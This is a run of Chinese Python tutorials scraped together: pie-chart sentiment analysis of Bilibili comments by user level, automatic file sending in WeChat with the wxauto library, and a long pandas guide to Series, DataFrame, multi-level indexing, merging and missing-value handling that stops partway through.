sixLevelComment.to_csv("CommentEmotion/sixLevelComment.csv") fiveLevelComment.to_csv("CommentEmotion/fiveLevelComment.csv") fourLevelComment.to_csv("CommentEmotion/fourLevelComment.csv") threeLevelComment.to_csv("CommentEmotion/threeLevelComment.csv") twoLevelComment.to_csv("CommentEmotion/twoLevelComment.csv") zeroLevelComment.to_csv("CommentEmotion/zeroLevelComment.csv") 这边定义一个函数 用来做每个等级的评论情感分析然后 loc方法把它他到每个等级表的最后保存到CommentEmotion 的文件夹中数据可视化处理好的数据存到csv中 现在来可视化使用pandas 导入保存在文件夹中的数据 统计数量import pandas as pd sixLevelDf = pd.read_csv("CommentEmotion/sixLevelComment.csv")["评论情感分析"].value_counts() fiveLevelDf = pd.read_csv("CommentEmotion/fiveLevelComment.csv")["评论情感分析"].value_counts() fourLevelDf = pd.read_csv("CommentEmotion/fourLevelComment.csv")["评论情感分析"].value_counts() threeLevelDf = pd.read_csv("CommentEmotion/threeLevelComment.csv")["评论情感分析"].value_counts() twoLevelDf = pd.read_csv("CommentEmotion/twoLevelComment.csv")["评论情感分析"].value_counts() zeroLevelDf = pd.read_csv("CommentEmotion/zeroLevelComment.csv")["评论情感分析"].value_counts()使用value_counts()统计每个情感的数量from matplotlib import pyplot as plt # 导入matplotlib 开始数据可视化 # 定义show函数 def show(data, level): plt.rcParams['font.sans-serif']=['SimHei'] # 解决中文乱码 plt.figure(figsize=(5,3)) # 设置画布大小 labels = data.index sizes = data.values colors = ['red', 'yellow', 'green'] plt.pie(sizes, # 绘图数据 labels=labels, # 添加区域水平标签 colors=colors, # 设置饼图填充色 labeldistance=1.1, # 设置各扇形标签与圆心的距离 startangle=90, # 设置饼图的初始角度 radius = 0.5, # 设置饼图的半径 center=(0.5,0.5), # 设置饼图的原点 textprops={'fontsize':9, 'color':'k'}, # 设置文本标签的属性值 pctdistance=0.6, # 设置百分比标签与圆心的举例 autopct='%.1f%%', # 设置百分比格式 保留一位小数 explode=(0.1,0,0), # 分裂饼形图 shadow=True # 阴影 ) plt.axis('equal') plt.title(f"B站某视频评论区{level}级情感分析") # 标题 plt.show() show(sixLevelDf, 6) show(fiveLevelDf, 5) show(fourLevelDf, 4) show(threeLevelDf, 3) show(twoLevelDf, 2) show(zeroLevelDf, 0) 我们这里做6张图 每个等级的评论 一张最终图片成品output_3_0.pngoutput_3_1.pngoutput_3_2.pngoutput_3_3.pngoutput_3_4.pngoutput_3_5.png
Python 微信自动发送消息文件用wxauto 库 github原作者地址原作者太久没有更新 微信更新已经无法使用了先下载这个库pip install wxauto然后要去修改一下源文件 python目录\Lib\site-packages\wxauto把里面wxauto.py进行替换 wxauto.pyfrom wxauto import * import os wx = WeChat() wx.GetSessionList() def send_file(user, file): try: wx.ChatWith(user) wx.SendFiles(file) print("发送完毕") except Exception as e: print("发送失败", e) if __name__ == '__main__': user = "文件传输助手" filepath = 'C:\\Users\\XiaoYuEgA\\Desktop\\zp\\' file_names = os.listdir(filepath) for file_name in file_names: file = filepath + file_name send_file(user, file)这里举例了自动发送文件夹里的图片user变量中是要发送的微信好友名filepath文件夹路径使用os.listdir方法 获取文件夹里的所有文件名然后遍历发送
Pandas真的是非常的难啊强大的数据处理和分析工具pandas1.png一、Pandas课程介绍Pandas 是基于NumPy的一种工具，该工具是为解决数据分析任务而创建的, Pandas提供了大量能使我们快速便捷地处理数据的函数和方法。Pandas与出色的 Jupyter工具包和其他库相结合，Python中用于进行数据分析的环境在性能、生产率和协作能力方面都是卓越的。Pandas的主要数据结构是 Series(一维数据)与 DataFrame (二维数据)，这两种数据结构足以处理金融、统计、社会科学、工程等领域里的大多数案例处理数据一般分为几个阶段：数据整理与清洗、数据分析与建模、数据可视化，Pandas 是处理数据的理想工具。二、Pandas安装Anaconda环境: 无需安装普通Python环境: pip install pandas -i https://pypi.tuna.tsinghua.edu.cn/simple三、Pandas数据结构SeriesSeries是一种类似于一维数组的对象，由下面两个部分组成：values：一组数据（ndarray类型）index：相关的数据索引标签1）Series的创建两种创建方式：(1) 由列表或NumPy数组创建list1 = [11, 22, 33, 44] n = np.array(list1) # type(n) # numpy.ndarray s = Series(n) display(n, s, type(s)) # pandas.core.series.SeriesSeries属性: index和values# values属性 s.values # array([11, 22, 33, 44]) s.index # RangeIndex(start=0, stop=4, step=1) list(s.index) # 修改索引 s.index = list("abcd") s.index = ["鲁班", "李白", "诸葛亮", "张飞"] display(s) # 通过索引取值 s.鲁班, s['鲁班'] # 通过索引修改值 s['鲁班'] = 100(2) 还可以通过字典创建d = { 'a': 11, 'b': 22, 'c': 33, 'd': 44 } s = Series(d) s.index = list("ABCD") display(s) d = { 'a': np.random.randint(0, 10, size=(2,3)), 'b': np.random.randint(0, 10, size=(2,3)), 'c': np.random.randint(0, 10, size=(2,3)), 'd': np.random.randint(0, 10, size=(2,3)) } s = Series(d) display(s) # 创建时同时设置索引 s = Series([1,2,3], index=["张三", '李四', '王五']) display(s)2）Series的索引可以使用中括号取单个索引（此时返回的是元素类型），或者中括号里一个列表取多个索引（此时返回的仍然是一个Series类型）。分为显示索引和隐式索引：(1) 显式索引：使用index中的元素作为索引值使用.loc[]注意，此时是闭区间s = Series({'语文': 150, "数学": 100, "英语": 120, "Python": 99}) # 显式索引：使用索引名字 s['语文'] # int类型 s'语文', "Python", "数学" # Series类型 s'语文' # Series类型 # .loc[ ] s.loc['语文'] s.loc'语文', "Python", "数学" s.loc'语文'(2) 隐式索引：使用整数作为索引值使用.iloc[]（推荐）注意，此时是半开区间s = Series({'语文': 150, "数学": 100, "英语": 120, "Python": 99}) # 隐式索引： 使用数字下标 s[0] s[[0, 2, 1]] s[[0]] # iloc[ ] s.iloc[0] s.iloc[[0, 2, 1]] s.iloc[[0]]3）Series的切片Series一维数组切片s = Series({'语文': 150, "数学": 100, "英语": 120, "Python": 99, "Numpy": 66, "Pandas": 199}) # Series是一维数组 # 隐式切片 : 左闭右开 s[1: 4] s.iloc[1: 4] # 显式切片： 闭区间 s["数学": "Python"] s.loc["数学": "Python"]4）Series的属性和方法shape 形状size 大小index 索引values 值dtype 元素类型name Series名字s.shape # 形状 s.size # 元素个数 s.index # 索引 s.values # 值 s.dtype # 元素类型 s = Series([11, 22, 33], name="年龄") s.name查看首尾数据head() 查看前几条数据，默认5条tail() 查看后几条数据，默认5# 查看前几条数据，默认5条 head() s.head() s.head(2) # 查看后几条数据，默认5 tail() s.tail() s.tail(2)检测缺失数据pd.isnull()pd.notnull()isnull()notnull()# s.isnul() pd.isnull(s) # s.notnull() pd.notnull(s) # 可以通过True，Flase过滤数据 # 保留不为空的数据 s[ pd.notnull(s) ]5）Series的运算(1) 适用于NumPy的数组运算也适用于Seriess = Series(np.random.randint(10, 100, size=10)) s + 100 s - 100 s * 100 s / 100 s // 10 s ** 2(2) Series之间的运算在运算中自动对齐索引的数据如果索引不对应，则补NaNSeries没有广播机制s1 = Series(np.random.randint(10, 100, size=3)) s2 = Series(np.random.randint(10, 100, size=4)) display(s1 + s2) # Numpy中有广播机制 n1 = np.array(np.random.randint(1, 10, size=(1, 3))) n2 = np.array(np.random.randint(1, 10, size=(3, 1))) display(n1 + n2)注意：要想保留所有的index，则需要使用.add()函数s1.add(s2, fill_value=100)DataFrameDataFrame是一个【表格型】的数据结构，可以看做是【由Series组成的字典】（共用同一个索引）。DataFrame由按一定顺序排列的多列数据组成。设计初衷是将Series的使用场景从一维拓展到多维。DataFrame既有行索引，也有列索引。行索引：index列索引：columns值：values（numpy的二维数组）1）DataFrame的创建最常用的方法是传递一个字典来创建。DataFrame以字典的键作为每一【列】的名称，以字典的值（一个数组）作为每一列。此外，DataFrame会自动加上每一行的索引（和Series一样）。同Series一样，若传入的列与字典的键不匹配，则相应的值为NaNd = { 'name' : ["鲁班", '陈咬金', "猪八戒"], 'age' : [7, 9, 8], 'sex': ['男', '女', '男'] } df = DataFrame(d)DataFrame属性和方法values 值columns 列索引index 行索引shape 形状head() 查看前几行数据tail() 查看后几行数据# 创建DataFrame df = DataFrame(d, index=["第一行", "第二行", "第三行"]) df.values # 值，二维ndarray数组 df.columns # 列索引 df.index # 行索引 df.shape # 形状 # 查看首尾数据 df.head(2) df.tail(2)创建DataFrame的其他方式df = DataFrame( data=np.random.randint(0, 100, size=(4, 6)), index=['小明', "小红", '小绿', '小黄'], columns=['语文', '数学', '英语', 'Python', 'Numpy', 'Pandas'] ) df2）DataFrame的索引(1) 对列进行索引通过类似字典的方式通过属性的方式可以将DataFrame的列获取为一个Series。返回的Series拥有原DataFrame相同的索引，且name属性也已经设置好了，就是相应的列名。df = DataFrame( data=np.random.randint(0, 100, size=(4, 6)), index=['小明', "小红", '小绿', '小黄'], columns=['语文', '数学', '英语', 'Python', 'Numpy', 'Pandas'] ) df.语文 df['语文'] # Series df'语文', 'Python' # DataFrame df'语文'(2) 对行进行索引使用.loc[ ]加index来进行行索引使用.iloc[ ]加整数来进行行索引同样返回一个Series，index为原来的columns。df = DataFrame( data=np.random.randint(0, 100, size=(4, 6)), index=['小明', "小红", '小绿', '小黄'], columns=['语文', '数学', '英语', 'Python', 'Numpy', 'Pandas'] ) # DataFrame默认取列索引 df.loc['小明'] # Series df.iloc[0] df.loc'小明', '小绿' # DataFrame df.loc'小明' df.iloc[[0, 2]] # DataFrame df.iloc[[0]](3) 对元素索引的方法使用列索引使用行索引(iloc[3,1]相当于两个参数;iloc[[3,3]] 里面的[3,3]看做一个参数)使用values属性（二维numpy数组）df = DataFrame( data=np.random.randint(0, 100, size=(4, 6)), index=['小明', "小红", '小绿', '小黄'], columns=['语文', '数学', '英语', 'Python', 'Numpy', 'Pandas'] ) # 先取列，再取行 df['语文'][1] df['语文']['小明'] # 先取行，再取列 df.iloc[1]['语文'] # df.loc['小明', '语文'] 3）DataFrame的切片【注意】 直接用中括号时：索引表示的是列索引切片表示的是行切片df = DataFrame( data=np.random.randint(0, 100, size=(4, 6)), index=['小明', "小红", '小绿', '小黄'], columns=['语文', '数学', '英语', 'Python', 'Numpy', 'Pandas'] ) # 索引： 优先使用列索引， 先取行就需要写loc或iloc # 切片： 优先按行切片， 和Numpy操作类似 # 行： 行名， 行数字索引 # 列： 列名 # 行切片 df[1 : 3] # 左闭右开 df['小明' : "小绿"] # 闭区间 df.iloc[1 : 3] df.loc['小明' : "小绿"] # 列切片: 需要使用loc或iloc df.iloc[:, 1:3] df.loc[:, "数学": "Python"] df.loc["小明":"小绿", "数学":"Python"] df.iloc[:3, 1:4]4）DataFrame的运算（1） DataFrame之间的运算在运算中自动对齐索引的数据如果索引不对应，则补NaNDataFrame没有广播机制# 创建DataFrame df1 不同人员的各科目成绩，月考一 df1 = DataFrame( data={ 'Python': [100, 90, 80], 'Java': [80, 70, 60], 'PHP': [60, 50, 40] }, index=['张飞', "吕布", '关羽'] ) # 创建DataFrame df2 不同人员的各科目成绩，月考二 df2 = DataFrame( data={ 'Python': [100, 90, 80, 70], 'Java': [80, 70, 60, 50], 'PHP': [60, 50, 40, 30], 'Go': [40, 30, 20, 10] }, index=['张飞', "吕布", '关羽', "刘备"] ) # DataFrame和数的运算 display(df1 + 100) # DataFrame之间的运算 display(df1 + df2) # 自动填充， 再相加 df1.add(df2, fill_value=1000)（2）Series与DataFrame之间的运算使用Python操作符：以行为单位操作（参数必须是行），对所有行都有效。（类似于numpy中二维数组与一维数组的运算，但可能出现NaN）使用pandas操作函数：axis=0：以列为单位操作（参数必须是列），对所有列都有效。 axis=1：以行为单位操作（参数必须是行），对所有行都有效。# 创建DataFrame df1 不同人员的各科目成绩，月考一 df1 = DataFrame( data={ 'Python': [100, 90, 80], 'Java': [80, 70, 60], 'PHP': [60, 50, 40] }, index=['张飞', "吕布", '关羽'] ) s = Series([100, 10, 1], index=df1.columns) # 直接相加 df1 + s # 使用add函数 df1.add(s) df1.add(s, axis='columns') # 列 df1.add(s, axis=1) # 第二个维度 s = Series([100, 10, 1], index=df1.index) df1.add(s, axis='index') # 行 df1.add(s, axis=0) # 行四、Pandas层次化索引1. 创建多层行索引1) 隐式构造最常见的方法是给DataFrame构造函数的index参数传递两个或更多的数组data = np.random.randint(0, 100, size=(6, 6)) index = [ ['1班', '1班', '1班', '2班', '2班', '2班'], ['张三', '李四', '王五', '赵六', '田七', '孙八'] ] columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df = pd.DataFrame(data=data, index=index, columns=columns) dfSeries也可以创建多层索引data = np.random.randint(0, 100, size=6) index = [ ['1班', '1班', '1班', '2班', '2班', '2班'], ['张三', '李四', '王五', '赵六', '田七', '孙八'] ] s = pd.Series(data=data, index=index) s2) 显示构造pd.MultiIndex使用数组data = np.random.randint(0, 100, size=(6, 6)) index = pd.MultiIndex.from_arrays( [ ['1班', '1班', '1班', '2班', '2班', '2班'], ['张三', '李四', '王五', '赵六', '田七', '孙八'] ] ) columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df = pd.DataFrame(data=data, index=index, columns=columns) df使用tupledata = np.random.randint(0, 100, size=(6, 6)) index = pd.MultiIndex.from_tuples( ( ('1班', '张三'), ('1班', '李四'), ('1班', '王五'), ('2班', '赵六'), ('2班', '田七'), ('2班', '孙八'), ) ) columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df = pd.DataFrame(data=data, index=index, columns=columns) df使用productdata = np.random.randint(0, 100, size=(6, 6)) # 笛卡尔积：{a, b} {c, d} => {a,c}, {a,d}, {b,c}, {b,d} index = pd.MultiIndex.from_product( [ ['1班', '2班'], ['张三', '李四', '王五'] ] ) columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df = pd.DataFrame(data=data, index=index, columns=columns) df2. 创建多层列索引(同行索引)除了行索引index，列索引columns也能用同样的方法创建多层索引3. 多层索引对象的索引与切片操作1）Series的操作【重要】对于Series来说，直接中括号[]与使用.loc()完全一样# (1) 索引 data = np.random.randint(0, 100, size=6) index = [ ['1班', '1班', '1班', '2班', '2班', '2班'], ['张三', '李四', '王五', '赵六', '田七', '孙八'] ] s = pd.Series(data=data, index=index) s # 显式索引 s['1班'] s.loc['1班'] s.loc'1班' s.loc'1班', '2班' s['1班']['张三'] s.loc['1班']['张三'] s.loc['1班','张三'] s['1班', '张三'] #隐式索引 s[1] s.iloc[1] s.iloc[[3, 2]] # (2) 切片 # 显式切片 s['1班': '1班'] s.loc['1班': '2班'] # s.loc['李四': '田七'] # 没有结果 # s.loc[('1班', '李四'): ('2班', '田七')] # 报错， 显式切片只对最外层索引有效 # 建议使用隐式切片 s[1: 4] s.iloc[1: 5]2）DataFrame的操作可以直接使用列名称来进行列索引使用行索引需要用iloc()，loc()等函数无法直接对二级索引进行索引data = np.random.randint(0, 100, size=(6, 6)) index = pd.MultiIndex.from_product( [ ['1班', '2班'], ['张三', '李四', '王五'] ] ) columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df = pd.DataFrame(data=data, index=index, columns=columns) # 获取元素 df['期中']['数学'][1] df.iloc[1, 3] # 第1行，第3列（索引） 42 df.loc[('1班', '李四'), ('期末', '语文')] # 42 # 列索引 df['期中'] df['期中']['数学'] df['期中', '数学'] # df[('期中', '数学')] # df.期中.数学 df.iloc[:, 2] df.iloc[:, [1,2,3]] # 行索引 df.loc['1班'] df.loc['1班'].loc['张三'] df.loc['1班', '张三'] df.loc[('1班', '张三')] df.iloc[1] df.iloc[[1]] df.iloc[[1,2,3]] # 切片 # 行切片 df.iloc[1:5] df.loc['1班' : '2班'] df.loc[('1班', '李四') : ('2班', '李四')] # 列切片 df.iloc[:, 1: 5] df.loc[:, '期中': '期末'] # df.loc[:, ('期中', '数学'): ('期末', '数学')] # 报错4. 索引的堆叠（stack）stack()unstack()【小技巧】使用stack()的时候，level等于哪一个，哪一个就消失，出现在行里。data = np.random.randint(0, 100, size=(6, 6)) index = pd.MultiIndex.from_product( [ ['1班', '2班'], ['张三', '李四', '王五'] ] ) columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df = pd.DataFrame(data=data, index=index, columns=columns) # stack: 列索引变成行索引 df.stack() # 默认level=-1 (倒数第一层)，将最里层的列索引 变成行索引 df.stack(level=1) df.stack(level=0) # 将最外层的列索引 变成行索引【小技巧】使用unstack()的时候，level等于哪一个，哪一个就消失，出现在列里。# unstack : 将行索引 变成 列索引 df.unstack() df.unstack(level=1) df.unstack(level=0)使用fill_value填充data = np.random.randint(0, 100, size=(6, 6)) index = pd.MultiIndex.from_tuples( ( ('1班', '张三'), ('1班', '李四'), ('1班', '王五'), ('2班', '赵六'), ('2班', '田七'), ('2班', '孙八'), ) ) columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df2 = pd.DataFrame(data=data, index=index, columns=columns) df2.unstack() df2.unstack(fill_value=0)5. 聚合操作【注意】需要指定axis【小技巧】和unstack()相反，聚合的时候，axis等于哪一个，哪一个就保留。data = np.random.randint(0, 100, size=(6, 6)) index = pd.MultiIndex.from_tuples( ( ('1班', '张三'), ('1班', '李四'), ('1班', '王五'), ('2班', '赵六'), ('2班', '田七'), ('2班', '孙八'), ) ) columns = [ ['期中', '期中', '期中', '期末', '期末', '期末'], ['语文', '数学', '英语', '语文', '数学', '英语'] ] df2 = pd.DataFrame(data=data, index=index, columns=columns) # DataFrame聚合操作：求和，平均值，最大值，最小值.... df3 = df.loc['1班', '期中'] # axis : 0表式行index, 1表式列columns df3.sum() df3.sum(axis=0) # 对同一列的多行进行求和 df3.sum(axis=1) # 对同一行的多列进行求和 # 多层索引聚合操作 df.sum() # 默认是对同一列的多行求和 df.sum(axis=1) # 对同一行的多列求和 df.sum(axis=0, level=0) # 表式 行 索引中的最外层 df.sum(axis=1, level=0) # 表式 列 索引中的最外层 df.sum(axis=0, level=1) # 表式 行 索引中的最里层 df.sum(axis=1, level=1) # 表式 列 索引中的最里层五、Pandas数据合并pd.concatpd.appendpd.merge为了方便，我们首先定义一个生成DataFrame的函数：def make_df(indexs, columns): data = [[str(j)+str(i) for j in columns] for i in indexs] df = pd.DataFrame(data=data, index=indexs, columns=columns) return df # 调用 # make_df([1, 2, 3, 4], list('ABCD'))1. 使用pd.concat()级联Pandas使用pd.concat函数，与NumPy中的concatenate函数类似，只是多了一些参数：1) 简单级联df1 = make_df([1, 2], ['A', 'B']) df2 = make_df([3, 4], ['A', 'B']) display(df1, df2) # 上下合并，垂直合并 pd.concat([df1, df2]) # 左右合并，水平合并 pd.concat([df1, df2], axis=1) # 忽略行索引，重置行索引 pd.concat([df1, df2], ignore_index=True) # 使用多层索引 keys pd.concat([df1, df2], keys=['x', 'y']) # pd.concat([df1, df2], keys=['x', 'y'], axis=1) 2) 不匹配级联不匹配指的是级联的维度的索引不一致。例如纵向级联时列索引不一致，横向级联时行索引不一致df3 = make_df([1, 2, 3, 4], ['A', 'B', 'C', 'D']) df4 = make_df([2, 3, 4, 5], ['B', 'C', 'D', 'E']) display(df3, df4) # 对应索引没有值的会自动用NaN填充 pd.concat([df3, df4]) # 外连接：补NaN（默认模式）, 默认值outer，类似并集， 所有数据都会显示 pd.concat([df3, df4]) pd.concat([df3, df4], join='outer') # 内连接：只连接匹配的项, 交集， 只显示共同的列或行 pd.concat([df3, df4], join='inner')2. 使用append()函数添加由于在后面级联的使用非常普遍，因此有一个函数append专门用于在后面添加df3 = make_df([1, 2, 3, 4], ['A', 'B', 'C', 'D']) df4 = make_df([2, 3, 4, 5], ['B', 'C', 'D', 'E']) display(df3, df4) df3.append(df4, sort=True)3.使用merge()合并类似MySQL中表和表之间的合并merge与concat的区别在于，merge需要依据某一共同的行或列来进行合并使用pd.merge()合并时，会自动根据两者相同column名称的那一列，作为key来进行合并。每一列元素的顺序不要求一致1) 一对一合并df1 = pd.DataFrame({ 'name': ['张三', '李四', '王五'], 'id' : [1, 2, 3], 'age': [22, 33, 44] }) df2 = pd.DataFrame({ 'id' : [2, 3, 4], 'sex': ['男', '女', '女'], 'job': ['saler', 'CTO', 'Programer'] }) display(df1, df2) # 合并 # pd.merge(df1, df2) df1.merge(df2)2) 多对一合并df1 = pd.DataFrame({ 'name': ['张三', '李四', '王五'], 'id' : [1, 2, 2], 'age': [22, 33, 44] }) df2 = pd.DataFrame({ 'id' : [2, 3, 4], 'sex': ['男', '女', '女'], 'job': ['saler', 'CTO', 'Programer'] }) display(df1, df2) # 合并 df1.merge(df2)3) 多对多合并df1 = pd.DataFrame({ 'name': ['张三', '李四', '王五'], 'id' : [1, 2, 2], 'age': [22, 33, 44] }) df2 = pd.DataFrame({ 'id' : [2, 2, 4], 'sex': ['男', '女', '女'], 'job': ['saler', 'CTO', 'Programer'] }) display(df1, df2) # 合并 df1.merge(df2)4) key的规范化使用on=显式指定哪一列为key,当有多个key相同时使用df1 = pd.DataFrame({ 'name': ['张三', '李四', '王五'], 'id' : [1, 2, 3], 'age': [22, 33, 44] }) df2 = pd.DataFrame({ 'id' : [2, 3, 4], 'name': ['李四', '王五', '赵六'], 'job': ['saler', 'CTO', 'Programer'] }) display(df1, df2) # 如果有多列名称相同， 则需要指定一列作为连接的字段 df1.merge(df2, on='id') df1.merge(df2, on='name')使用left_on和right_on指定左右两边的列作为key，当左右两边的key都不想等时使用# 如果没有相同的列名，则需要使用left_on和right_on来分别指定2个表的列作为连接的字段 df1.merge(df2, left_on='id', right_on='id2')当左边的列和右边的index相同的时候,使用right_index=Truedf1.merge(df2, left_index=True, right_on='id2')5) 内合并与外合并内合并：只保留两者都有的key（默认模式）df1 = pd.DataFrame({ 'name': ['张三', '李四', '王五'], 'id' : [1, 2, 3], 'age': [22, 33, 44] }) df2 = pd.DataFrame({ 'id' : [2, 3, 4], 'sex': ['男', '女', '女'], 'job': ['saler', 'CTO', 'Programer'] }) display(df1, df2) # 内连接： inner join df1.merge(df2) df1.merge(df2, how='inner')外合并 how='outer'：补NaN# 外连接: df1.merge(df2, how='outer')左合并、右合并：how='left'，how='right'# 左连接: df1.merge(df2, how='left') # 右连接: df1.merge(df2, how='right')6) 添加后缀当列冲突时，即有多个列名称相同时，需要使用on=来指定哪一个列作为key，配合suffixes指定冲突列名可以使用suffixes=自己指定后缀df1 = pd.DataFrame({ 'name': ['张三', '李四', '王五'], 'id' : [1, 2, 3], 'age': [22, 33, 44] }) df2 = pd.DataFrame({ 'id' : [2, 3, 4], 'name': ['李四', '王五', '赵六'], 'job': ['saler', 'CTO', 'Programer'] }) display(df1, df2) df1.merge(df2, on='id', suffixes=['_表1', '_表2'])merge合并总结:合并有三种现象: 一对一, 多对一, 多对多.合并默认会找相同的列名进行合并, 如果有多个列名相同,用on来指定.如果没有列名相同,但是数据又相同,可以通过left_on, right_on来分别指定要合并的列.如果想和index合并, 使用left_index, right_index来指定.如果多个列相同,合并之后可以通过suffixes来区分.还可以通过how来控制合并的结果, 默认是内合并, 还有外合并outer, 左合并left, 右合并right.六、Pandas缺失值处理有两种缺失值(空值)：Nonenp.nan1. NoneNone是Python自带的，是Python中的空对象。None不能参与到任何计算中。object类型的运算要比int类型的运算慢得多# 计算不同数据类型求和时间 %timeit np.arange(1e5, dtype=object).sum() # 6.1 ms ± 122 µs per loop (mean ± std. dev. of 7 runs, 100 loops each) %timeit np.arange(1e5, dtype=np.int32).sum() # 134 µs ± 7.16 µs per loop (mean ± std. dev. of 7 runs, 10000 loops each)2. np.nan（NaN）np.nan是浮点类型，能参与到计算中。但计算的结果总是NaN。type(np.nan) # float但可以使用np.nan*()函数来计算nan，此时会过滤掉nan。n = np.array([1, 2, 3, np.nan, 5, 6]) # np.sum(n) # nan np.nansum(n) np.nan + 103. pandas中的None与NaN1) pandas中None与np.nan都视作np.nan创建DataFramedata = np.random.randint(0 ,100, size=(5, 5)) df = pd.DataFrame(data=data, columns=list('ABCDE')) # 修改数据,增加2种nan df.loc[2, 'B'] = np.nan df.loc[3, 'C'] = None display(df) # 查看结果 df.loc[2, 'B'] # nan df.loc[3, 'C'] # nan2) pandas中None与np.nan的操作isnull()notnull()all()any()dropna(): 过滤丢失数据fillna(): 填充丢失数据(1)判断函数isnull()notnull()# isnull df.isnull() # notnull df.notnull() # all(): 必须全部为True才为True， 类似and # any(): 只要有一个为True即为True, 类似or df.isnull().any() # 常用， 尽可能找到所有的空值 # df.isnull().all() df.notnull().all() # 常用，尽可能找到所有的空值 # df.notnull().any() df.isnull().any(axis=1) # axis=1 表式列，判断一行中的每一列数据进行判断 df.notnull().all(axis=1)使用bool值索引过滤数据# 行过滤 # 将df中有空的列过滤掉 cond = df.isnull().any(axis=1) # display(cond, ~cond) # ~ 取反 df[~cond] cond = df.notnull().all(axis=1) # cond df[cond] # 列过滤 cond = df.notnull().all() # cond df.loc[:, cond] cond = df.isnull().any() # cond df.loc[:, ~cond](2) 过滤函数dropna()可以选择过滤的是行还是列（默认为行）df.dropna() # 默认是删除有空的行 df.dropna(axis=1) # 删除有空的列也可以选择过滤的方式 how = 'all'df.dropna(how='any') # 默认值，默认有空就会删除 df.dropna(how='all', axis=1) # 所有的值都为空（整行或整列为空），才删除inplace=True 修改原数据df2 = df.copy() # inplace=True: 表式修改原数据 df2.dropna(inplace=True) df2(3) 填充函数 Series/DataFramefillna()# 填充 df.fillna(value=100) df2 = df.copy() df2.loc[1, 'B'] = np.nan df2.loc[4, 'C'] = None display(df2) # limit: 限制对应维度上填充的次数 df2.fillna(value=100, limit=1, inplace=True) # 可以选择前向填充还是后向填充 # method : {'backfill', 'bfill', 'pad', 'ffill', None}, default None # Method to use for filling holes in reindexed Series # pad/ffill: propagate last valid observation forward to next valid # backfill/bfill: use next valid observation to fill gap. df.fillna(method='ffill') # 用上面数据来填充自己 # df.fillna(method='pad') df.fillna(method='bfill') # 用下面数据来填充自己 # df.fillna(method='backfill') df.fillna(method='ffill', axis=1) # 用左边数据来填充自己 df.fillna(method='bfill', axis=1) # 用右边数据来填充自己七、Pandas处理重复值和异常值def make_df(indexs, columns): data = [[str(j)+str(i) for j in columns] for i in indexs] df = pd.DataFrame(data=data, index=indexs, columns=columns) return df # make_df([1, 2, 3, 4], ['A', 'B', 'C', 'D'])1. 删除重复行使用duplicated()函数检测重复的行，返回元素为布尔类型的Series对象每个元素对应一行，如果该行不是第一次出现，则元素为True# 让第一行和第二行重复 df.loc[1] = df.loc[2] # 判断是否和前面的行重复了 df.duplicated() # df.duplicated(keep='first') # 保留第一行 # df.duplicated(keep='last') # 保留最后一行 # df.duplicated(keep=False) # 标记所有重复行 df.loc[1, 'D'] = 'DDD' # subset: 子集， 只需要子集相同就可以判断重复 df.duplicated(subset=['A', 'B', 'C'])使用drop_duplicates()函数删除重复的行df.drop_duplicates(subset=['A', 'B', 'C']) df.drop_duplicates(subset=['A', 'B', 'C'], keep='last')2. 映射映射的含义：创建一个映射关系列表，把values元素和一个特定的标签或者字符串绑定包含三种操作：replace()函数：替换元素map()函数：处理某一单独的列, 最重要rename()函数：替换索引1) replace()函数：替换元素使用replace()函数，对values进行替换操作index = ['鲁班', '张三丰', '张无忌', '杜甫', '李白'] columns = ['Python', 'Java', 'H5', 'Pandas'] data = np.random.randint(0, 100, size=(5, 4)) df = pd.DataFrame(data=data, index=index, columns=columns) # replace还经常用来替换NaN元素 df.replace({1: 100})2) map()函数: 适合处理某一单独的列df2 = df.copy() df2 # map是Series调用，不能使用DataFrame调用 df2['Python'].map({12: 100, 11: 90}) # map()函数中可以使用lambda函数 # 新建一列 df2['NumPy'] = df2['Python'].map(lambda x: x+100) df2 # 新增一列：判断java成绩是否及格 df2['是否及格'] = df2['Java'].map(lambda n: "及格" if n>=60 else "不及格") df2 # 新增一列：判断Java成绩的等级（>=80优秀，>=60及格，<60不及格） def fn(n): if n >= 80: return '优秀' elif n >= 60: return '及格' return '不及格' df2['等级'] = df2['Java'].map(fn) df23) rename()函数：替换索引df3 = df.copy() df3 # 更改索引名称 df3.rename({'鲁班': "Mr Lu"}) # 默认更改行索引 df3.rename({'Python': 'PYTHON'}, axis=1) # 更改列索引 df3.rename(index={'鲁班': "Mr Lu"}) # 更改行索引 df3.rename(columns={'Python': 'PYTHON'}) # 更改列索引4) apply()函数：既支持 Series，也支持 DataFramedf = pd.DataFrame(data=np.random.randint(0, 10, size=(5,3)), index=list('ABCDE'), columns=['Python', 'NumPy', 'Pandas']) # 用于Series，其中x是Series中元素 df['Python'].apply(lambda x:True if x >5 else False) # 用于DataFrame，其中的x是DataFrame中列或者行，是Series df.apply(lambda x : x.median(), axis=0) # 列的中位数 df.apply(lambda x : x.median(), axis=1) # 行的中位数 # 自定义方法 def convert(x): return (np.round(x.mean(), 1), x.count()) df.apply(convert, axis=1) # 行平均值，计数 # applymap: DataFrame专有, 其中的x是DataFrame中每个元素 df.applymap(lambda x : x + 100) # 计算DataFrame中每个元素5) transform()函数df = pd.DataFrame(data=np.random.randint(0, 10, size=(10,3)), index=list('ABCDEFHIJK'), columns=['Python', 'NumPy', 'Pandas']) # 1、一列执行多项计算 df['Python'].transform([np.sqrt, np.exp]) # Series处理 # 2、多列执行不同计算 def convert(x): if x.mean() > 5: x *= 10 else: x *= -10 return x df.transform({'Python':convert,'NumPy':np.max,'Pandas':np.min}) 3. 异常值检测和过滤describe(): 查看每一列的描述性统计量# 查看每一列的描述性统计 df.describe() df.describe([0.3, 0.4, 0.5, 0.9, 0.99]) # 指定百分位数 df.describe([0.3, 0.4, 0.5, 0.9, 0.99]).T # 转置，行和列转换，在列比较多的情况下使用df.std() : 